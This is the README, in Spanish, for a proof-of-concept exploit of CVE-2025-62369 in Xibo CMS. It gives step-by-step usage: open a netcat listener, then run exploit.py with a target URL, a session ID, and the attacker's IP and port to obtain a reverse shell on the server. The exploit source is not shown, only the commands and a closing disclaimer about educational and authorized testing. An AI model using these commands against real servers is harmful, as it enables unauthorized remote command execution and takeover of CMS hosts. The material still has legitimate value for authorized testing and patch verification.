CVE-2025-62369 PoC

---

Este script explota CVE-2025-62369 en Xibo CMS para ejecutar un comando de reverse shell.

---

Autor

• Nombre: Cristian Branet
• GitHub: cristibtz

---

Uso

1. Iniciar un listener

nc -lvnp <PORT>

2. Ejecutar el exploit

python3 exploit.py -u "http://<TARGET_IP>:<TARGET_PORT>" -s "<PHPSESSID>" -i <LOCAL_IP> -p <PORT>

• <TARGET_IP>: IP del servidor Xibo CMS
• <TARGET_PORT>: Puerto del servidor Xibo CMS
• <PHPSESSID>: Tu ID de sesión PHP
• <LOCAL_IP>: Tu IP para recibir la reverse shell
• <PORT>: Puerto para la reverse shell (debe coincidir con tu listener)

---

Descargo de responsabilidad:
Este código es solo para fines educativos y pruebas autorizadas.